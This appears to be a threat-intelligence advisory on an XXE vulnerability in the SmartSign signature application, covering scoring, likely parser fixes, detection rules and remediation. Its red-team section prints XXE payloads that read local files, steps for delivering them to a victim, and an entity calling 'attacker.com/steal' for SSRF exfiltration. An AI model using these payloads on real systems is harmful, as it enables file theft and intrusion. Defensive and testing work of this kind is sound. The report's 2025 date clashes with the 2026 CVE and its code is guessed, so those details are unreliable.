CVE-2026-57917

Executive Summary

CVE-2026-57917 discloses an XML External Entity (XXE) vulnerability in proCertum SmartSign, a digital signature application. The software parses external XML entities from crafted signature files without proper sanitization. This allows an attacker to perform Server-Side Request Forgery (SSRF) and potentially read local files, depending on the XML parser configuration. The vulnerability is triggered simply by previewing a malicious file in the file selection window, before the victim clicks “Open”. The flaw has been fixed in version 9.4.3.90. Attack complexity is low, no authentication is required, but user interaction is needed. The impact primarily affects confidentiality, with no direct impact on integrity or availability. Given the medium CVSS score and the ease of triggering via file preview, this vulnerability should be prioritized for patching.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (AV:N) – the malicious file can be delivered over the network (e.g., email, download).
• Attack Complexity (AC): Low (AC:L) – no special conditions required beyond opening a crafted file.
• Privileges Required (PR): None (PR:N) – the attacker does not need prior access.
• User Interaction (UI): Required (UI:R) – the victim must preview the file in the application.
• Scope (S): Unchanged (S:U) – the vulnerable component is the only affected part.
• Confidentiality (C): High (C:H) – local file read and SSRF expose sensitive data.
• Integrity (I): None (I:N) – no modification of data.
• Availability (A): None (A:N) – no denial of service.

CVSS v3.1 Score: 6.5 (Medium)
Threat Level: Moderate – exploitation requires user interaction but can lead to high‑value data extraction.

Deep Dive & Mechanics

The XXE vulnerability resides in the XML parser used by SmartSign to process digital signature files (e.g., XML‑based signatures). When a user opens a file or simply previews it in the file selection dialog, the application parses the XML content. If the XML contains an external entity reference, the parser attempts to resolve it, potentially making HTTP requests (SSRF) or reading local files (e.g., file:///etc/passwd).

The vector is straightforward:

1. An attacker crafts a signature file with a malicious DOCTYPE declaration, e.g.:

   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <signature>&xxe;</signature>
   

2. The victim receives the file and double‑clicks to preview it in SmartSign.
3. The XML parser processes the entity and includes the /etc/passwd content in the rendered view, or sends a request to an attacker‑controlled server (SSRF).

The severity depends on the parser’s configuration. In some cases, the entity resolution may be restricted, but the advisory indicates that SSRF and local file read are possible. The fix in version 9.4.3.90 likely disables external entity processing or uses a secure parser configuration.

Vulnerable vs. Patched Code

Since no source code is provided, we infer the fix from typical XXE mitigations. The vulnerable code likely used a default XML parser with external entity expansion enabled. For example (pseudo‑Java):

// Vulnerable
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(fileInputStream));

The patched version disables DTD processing and external entities:

// Patched
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
...
DocumentBuilder builder = factory.newDocumentBuilder();

Patch Details: The official patch is included in SmartSign version 9.4.3.90. Users must upgrade to this version or later. No hotfix or workaround is provided.

Exploitation & Lab Setup

Red Team – Crafting Malicious Signature File

To test the vulnerability, create a malicious XML signature file that exploits the XXE. Example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE signature [
  <!ENTITY xss SYSTEM "file:///etc/hostname">
]>
<signature>
  <data>&xss;</data>
</signature>

Steps:

1. Save the above as malicious.xml.
2. Deliver the file to the victim (e.g., via email, shared drive).
3. Instruct the victim to preview the file in SmartSign (the preview pane will show the hostname content).
4. For SSRF, replace the entity with a URL to an attacker‑controlled HTTP server:

   <!ENTITY xss SYSTEM "http://attacker.com/steal">
   

5. Monitor the server logs for incoming connections, confirming SSRF.

Exploit Limitations: No public‑domain exploit code was found; this is a custom proof‑of‑concept.

Blue Team – Simulating and Detecting Exploitation

1. Lab Setup:

   • Install SmartSign version < 9.4.3.90 on a test VM.
   • Set up a proxy (e.g., Burp Suite) to monitor outbound HTTP requests.
   • Use network monitoring tools (e.g., Wireshark) to capture traffic.

2. Triggering the Vulnerability:

   • Attempt to open a crafted XML file as described in the Red Team section.
   • Observe local file reads or outbound HTTP requests.

3. Detection:

   • Network: Look for unexpected outbound connections from the SmartSign process.
   • Host: Monitor for file reads of sensitive files (e.g., /etc/passwd, /etc/shadow).
   • Logs: SmartSign may write error logs if entity resolution fails; parse these for suspicious URIs.

Indicators of Compromise (IOCs)

• File Hashes (MD5/SHA256) of Known Malicious Files: None publicly available; generate your own.
• Network Indicators:
  • Outbound HTTP requests from the SmartSign process to unexpected IPs/domains.
  • DNS queries for suspicious domains (if SSRF used).
• Host Indicators:
  • Unusual file read operations on sensitive system files by the SmartSign executable.
  • Presence of XML entities containing SYSTEM "file://" or SYSTEM "http://" in temporary files.
• Registry/Config Changes: None expected.

Detection Engineering

YARA Rule

rule SmartSign_XXE_Exploit {
    meta:
        description = "Detects crafted signature files with XML external entity references targeting SmartSign"
        author = "DevSecOps Analyst"
        date = "2025-03-13"
        hash = "unknown"
    strings:
        $doc_type = "<!DOCTYPE" nocase
        $entity_sys = "SYSTEM" nocase
        $file_proto = "file://" nocase
        $http_proto = "http://" nocase
        $xml_decl = "<?xml" nocase
    condition:
        all of ($xml_decl, $doc_type, $entity_sys) and
        any of ($file_proto, $http_proto)
}

Sigma Rule

title: ProCertum SmartSign XXE Exploitation Attempt
id: c25328e0-7f61-4b3e-9e11-6b2a1c3d4e5f
status: experimental
description: Detects process execution that reads sensitive local files via SmartSign
author: DevSecOps Team
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image|endswith: '\SmartSign.exe'
        CommandLine|contains:
            - 'file://'
            - '/etc/passwd'
            - 'C:\Windows\system32\'
    condition: selection
falsepositives:
    - Legitimate file operations with "file://" in command line (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"ProCertum SmartSign XXE SSRF - Outbound Connection"; flow:to_server; content:"GET"; within:10; content:"/steal"; distance:0; classtype:attempted-information-leak; sid:1000001; rev:1;)

Note: Suricata rules should be tuned to the specific SSRF destination domain captured during analysis.

Remediation & Mitigation

1. Immediate Action:

   • Upgrade to SmartSign version 9.4.3.90 or later.
   • If immediate upgrade is not possible, restrict the execution of SmartSign on untrusted file sources (e.g., block opening files from email attachments in preview pane).

2. Compensating Controls:

   • Deploy application whitelisting to prevent arbitrary file previews.
   • Use endpoint detection and response (EDR) to monitor SmartSign for suspicious file reads or outbound connections.
   • Implement network segmentation to limit outbound HTTP(S) from the workstation running SmartSign.

3. Long‑Term Hardening:

   • Review and harden XML parser configurations in all applications.
   • Ensure XML parsing libraries are updated and configured to disable external entities.
   • Conduct regular security audits of signature handling components.

4. Validation:

   • After patching, attempt to trigger the XXE with a test file to confirm the vulnerability is closed.

Valters IT Signature

Valters IT
DevSecOps Threat Intelligence Unit
Report generated for CVE-2026-57917
Classification: TLP:AMBER
Date: 2025-03-13